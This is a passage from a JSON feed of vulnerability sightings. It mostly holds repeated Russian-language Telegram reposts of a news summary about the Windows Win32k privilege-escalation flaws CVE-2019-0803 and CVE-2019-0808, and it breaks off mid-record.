etc.)\n5. Participate in bug bounty programs\n6. Stay updated with security news and CVEs\n\n### Stay Legal, Stay Ethical\nRemember that with great power comes great responsibility. Use these skills to make the internet safer, not to cause harm. Always test with permission and report vulnerabilities responsibly.\n\n---\n\n*\u00a9 2025 awjunaid.com - For authorized security testing only*", "creation_timestamp": "2026-07-02T07:27:36.996923Z"}, {"uuid": "9cf90511-b7ce-4402-b2a8-1fac5b936fa3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0803", "type": "seen", "source": "MISP/1d5701e2-6293-497d-a4c0-bf3b16e17404", "content": "", "creation_timestamp": "2026-07-10T09:15:02.535742Z"}, {"uuid": "f62123f3-119e-4edd-a329-d8833980bee6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0803", "type": "seen", "source": "MISP/1d5701e2-6293-497d-a4c0-bf3b16e17404", "content": "", "creation_timestamp": "2026-07-11T00:15:03.138487Z"}, {"uuid": "1efbbba4-feb4-4c4d-8d79-5d7d60eed5d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0808", "type": "seen", "source": "https://t.me/securixy_kz/483", "content": "Windows 7 - \u041e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 0-Day\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2019-0808 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 Win32k \u0432 Windows 7 \u0438 Windows Server 2008 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430...", "creation_timestamp": "2026-07-12T22:00:14.039998Z"}, {"uuid": "81a96316-e7c4-4cfa-8546-c7db1b3dc009", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0803", "type": "seen", "source": "https://t.me/securixy_kz/495", "content": "Microsoft Windows - 0Day\n\n\n\u0412 \u0440\u0430\u043c\u043a\u0430\u0445 \u0430\u043f\u0440\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u00ab\u0432\u0442\u043e\u0440\u043d\u0438\u043a\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439\u00bb \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Microsoft \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043f\u0430\u043a\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0438\u0445 \u0432 \u043e\u0431\u0449\u0435\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 74 \u0431\u0430\u0433\u0430, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f, \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445. \u0412 \u043c\u0438\u043d\u0443\u0432\u0448\u0435\u043c \u043c\u0435\u0441\u044f\u0446\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Windows, \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0430\u0442\u0430\u043a\u0443\u0435\u043c\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438.\n\n\u041e\u0431\u0435 \u00ab\u0441\u0432\u0435\u0436\u0438\u0435\u00bb \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b (CVE-2019-0803 \u0438 CVE-2019-0859) \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 Win32k. \u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044e Microsoft, \u0431\u0430\u0433 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u0441\u0432\u044f\u0437\u0438 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438, \u0430 \u0435\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u044f\u0434\u0440\u0430. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043f\u043e\u043b\u0443\u0447\u0438\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c, \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435, \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043d\u043e\u0432\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u0441 \u043f\u043e\u043b\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0438 \u0442.\u0434. \u0414\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0434\u043e\u043b\u0436\u0435\u043d \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435.\n\u0412 \u043a\u0430\u043a\u0438\u0445 \u0438\u043c\u0435\u043d\u043d\u043e \u0430\u0442\u0430\u043a\u0430\u0445 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0432\u044b\u0448\u0435\u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430.\n\u0412 \u0447\u0438\u0441\u043b\u0435 \u043f\u0440\u043e\u0447\u0438\u0445 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b \u0440\u044f\u0434 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445, \u0432 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, CVE-2019-0824, CVE-2019-0825 \u0438 CVE-2019-0827 \u0432 \u0421\u0423\u0411\u0414 Microsoft Access \u0438 CVE-2019-0853 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 Windows GDI+. \u0421 \u043f\u043e\u043b\u043d\u044b\u043c \u0441\u043f\u0438\u0441\u043a\u043e\u043c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u043c\u043e\u0436\u043d\u043e \u043e\u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u044c\u0441\u044f \u0437\u0434\u0435\u0441\u044c.\n\n\u0412\u0437\u044f\u0442\u043e \u00a9: https://www.securitylab.ru\n\u0421\u043a\u043e\u043f\u0438\u0440\u0443\u0439\u0442\u0435 \u044d\u0442\u0443 \u0441\u0441\u044b\u043b\u043a\u0443 \u0438 \u0432\u0441\u0442\u0430\u0432\u044c\u0442\u0435 \u0432 Telegram", "creation_timestamp": "2026-07-12T22:00:13.941372Z"}, {"uuid": "40807dc2-4780-4f79-bf5a-3411c8ae6749", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0803", "type": "seen", "source": "https://t.me/securixy_kz/495", "content": "Microsoft Windows - 0Day\n\n\n\u0412 \u0440\u0430\u043c\u043a\u0430\u0445 \u0430\u043f\u0440\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u00ab\u0432\u0442\u043e\u0440\u043d\u0438\u043a\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439\u00bb \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Microsoft \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043f\u0430\u043a\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0438\u0445 \u0432 \u043e\u0431\u0449\u0435\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 74 \u0431\u0430\u0433\u0430, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f, \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445. \u0412 \u043c\u0438\u043d\u0443\u0432\u0448\u0435\u043c \u043c\u0435\u0441\u044f\u0446\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Windows, \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0430\u0442\u0430\u043a\u0443\u0435\u043c\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438.\n\n\u041e\u0431\u0435 \u00ab\u0441\u0432\u0435\u0436\u0438\u0435\u00bb \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b (CVE-2019-0803 \u0438 CVE-2019-0859) \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 Win32k. \u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044e Microsoft, \u0431\u0430\u0433 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u0441\u0432\u044f\u0437\u0438 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438, \u0430 \u0435\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u044f\u0434\u0440\u0430. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043f\u043e\u043b\u0443\u0447\u0438\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c, \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435, \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043d\u043e\u0432\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u0441 \u043f\u043e\u043b\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0438 \u0442.\u0434. \u0414\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0434\u043e\u043b\u0436\u0435\u043d \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435.\n\u0412 \u043a\u0430\u043a\u0438\u0445 \u0438\u043c\u0435\u043d\u043d\u043e \u0430\u0442\u0430\u043a\u0430\u0445 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0432\u044b\u0448\u0435\u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430.\n\u0412 \u0447\u0438\u0441\u043b\u0435 \u043f\u0440\u043e\u0447\u0438\u0445 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b \u0440\u044f\u0434 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445, \u0432 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, CVE-2019-0824, CVE-2019-0825 \u0438 CVE-2019-0827 \u0432 \u0421\u0423\u0411\u0414 Microsoft Access \u0438 CVE-2019-0853 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 Windows GDI+. \u0421 \u043f\u043e\u043b\u043d\u044b\u043c \u0441\u043f\u0438\u0441\u043a\u043e\u043c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u043c\u043e\u0436\u043d\u043e \u043e\u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u044c\u0441\u044f \u0437\u0434\u0435\u0441\u044c.\n\n\u0412\u0437\u044f\u0442\u043e \u00a9: https://www.securitylab.ru\n\u0421\u043a\u043e\u043f\u0438\u0440\u0443\u0439\u0442\u0435 \u044d\u0442\u0443 \u0441\u0441\u044b\u043b\u043a\u0443 \u0438 \u0432\u0441\u0442\u0430\u0432\u044c\u0442\u0435 \u0432 Telegram", "creation_timestamp": "2026-07-13T00:00:37.902005Z"}, {"uuid": "e51310dd-d949-4a6c-9b06-495f0e1190dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0808", "type": "seen", "source": "https://t.me/securixy_kz/483", "content": "Windows 7 - \u041e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 0-Day\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2019-0808 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 Win32k \u0432 Windows 7 \u0438 Windows Server 2008 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430...", "creation_timestamp": "2026-07-13T00:00:37.993478Z"}, {"uuid": "05cc4aef-3245-44c2-895f-03e51131d047", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0803", "type": "seen", "source": "https://t.me/securixy_kz/495", "content": "Microsoft Windows - 0Day\n\n\n\u0412 \u0440\u0430\u043c\u043a\u0430\u0445 \u0430\u043f\u0440\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u00ab\u0432\u0442\u043e\u0440\u043d\u0438\u043a\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439\u00bb \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Microsoft \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043f\u0430\u043a\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0438\u0445 \u0432 \u043e\u0431\u0449\u0435\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 74 \u0431\u0430\u0433\u0430, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f, \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445. \u0412 \u043c\u0438\u043d\u0443\u0432\u0448\u0435\u043c \u043c\u0435\u0441\u044f\u0446\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Windows, \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0430\u0442\u0430\u043a\u0443\u0435\u043c\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438.\n\n\u041e\u0431\u0435 \u00ab\u0441\u0432\u0435\u0436\u0438\u0435\u00bb \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b (CVE-2019-0803 \u0438 CVE-2019-0859) \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 Win32k. \u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044e Microsoft, \u0431\u0430\u0433 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u0441\u0432\u044f\u0437\u0438 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438, \u0430 \u0435\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u044f\u0434\u0440\u0430. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043f\u043e\u043b\u0443\u0447\u0438\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c, \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435, \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043d\u043e\u0432\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u0441 \u043f\u043e\u043b\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0438 \u0442.\u0434. \u0414\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0434\u043e\u043b\u0436\u0435\u043d \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435.\n\u0412 \u043a\u0430\u043a\u0438\u0445 \u0438\u043c\u0435\u043d\u043d\u043e \u0430\u0442\u0430\u043a\u0430\u0445 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0432\u044b\u0448\u0435\u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430.\n\u0412 \u0447\u0438\u0441\u043b\u0435 \u043f\u0440\u043e\u0447\u0438\u0445 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b \u0440\u044f\u0434 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445, \u0432 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, CVE-2019-0824, CVE-2019-0825 \u0438 CVE-2019-0827 \u0432 \u0421\u0423\u0411\u0414 Microsoft Access \u0438 CVE-2019-0853 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 Windows GDI+. \u0421 \u043f\u043e\u043b\u043d\u044b\u043c \u0441\u043f\u0438\u0441\u043a\u043e\u043c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u043c\u043e\u0436\u043d\u043e \u043e\u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u044c\u0441\u044f \u0437\u0434\u0435\u0441\u044c.\n\n\u0412\u0437\u044f\u0442\u043e \u00a9: https://www.securitylab.ru\n\u0421\u043a\u043e\u043f\u0438\u0440\u0443\u0439\u0442\u0435 \u044d\u0442\u0443 \u0441\u0441\u044b\u043b\u043a\u0443 \u0438 \u0432\u0441\u0442\u0430\u0432\u044c\u0442\u0435 \u0432 Telegram", "creation_timestamp": "2026-07-14T00:00:55.001349Z"}, {"uuid": "d86ea17f-c7cb-491c-abb9-06041b4f0bf9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0808", "type": "published-proof-of-concept", "source": 